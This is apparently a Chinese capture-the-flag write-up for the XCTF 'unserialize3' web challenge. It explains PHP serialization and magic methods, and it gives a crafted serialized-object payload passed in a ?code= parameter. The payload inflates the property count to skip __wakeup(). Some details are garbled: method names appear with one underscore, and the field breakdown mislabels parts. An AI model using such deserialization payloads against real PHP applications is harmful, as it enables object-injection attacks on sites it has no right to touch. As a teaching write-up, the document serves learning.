攻防世界-web-高手进阶区-unserialize3

题目

攻防世界-web-高手进阶区-unserialize3_第1张图片

writeup

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}

分析上述代码,发现:_wakeup()

考虑反序列化


class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>

得到:

攻防世界-web-高手进阶区-unserialize3_第2张图片

即:

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

又因为_wakeup(),要求被序列化的对象属性个数要大于原来的1

则构造:

?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

得到flag

攻防世界-web-高手进阶区-unserialize3_第3张图片

知识点

1、unserialize()与serialize()


class a{
public $flag = '111';
}
$b = new a();
echo serialize($b);
?>

攻防世界-web-高手进阶区-unserialize3_第4张图片

结果是:

O:1:"a":1:{s:4:"flag";s:3:"111";}

攻防世界-web-高手进阶区-unserialize3_第5张图片

即:

上述结果可分析为:

序列对象:o - object
被序列化的类的名称的长度: 1
被序列化的类的名称:"a"
被序列化的对象的属性个数:1
属性名:s
属性值:4

2、_sleep()_wakeup()

这两个方法是在对象的序列化与反序列化里使用的。

当序列化serialize对象时,可以把对象里的属性和方法转换成连续的bytes数据,保存在一个文件里或者在网络上传输;

当需要使用这个对象时,就可以反序列化unserialize这个字符串,得到这个对象,然后继续使用。

当对一个对象序列化时,php就会调用_sleep()方法(如果存在的话);

在反序列化时,php就会调用_wakeup()方法(如果存在的话)。

_sleep()这个方法可以用于清理对象,并返回一个包含对象中所有变量名称的数组。如果该方法不返回任何内容,则NULL被序列化,导致一个E_NOTICE错误。

在反序列化unserialize时,会检查是否存在_wakeup()方法,如果存在,则会调用_wakeup()方法,预先准备对象数据。

_sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

_wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

为了绕过_wakeup(),我们会将序列化的对象的属性个数的值加大,超过规定数来进行绕过。

3、魔术方法

PHP中以两个下划线开头的方法,_construct(), _destruct (), _call(),_callStatic(),_get(),_set(),_isset(), _unset (), _sleep(), _wakeup(), _toString(), _set_state(), _clone(),_autoload()等,被称为"魔术方法"(Magic methods)。这些方法在一定条件下有特殊的功能.

与序列化和反序列化的魔术方法主要是:

_construct()	//当一个对象创建时被调用
_destruct() 	//对象被销毁时触发
_wakeup() 	    //使用unserialize时触发
_sleep() 	    //使用serialize时触发
_toString() 	//把类当做字符串时触发
_get()      	//用于从不可访问的属性读取数据
_set()      	//用于将数据写入不可访问的属性

你可能感兴趣的:(CTF之Web)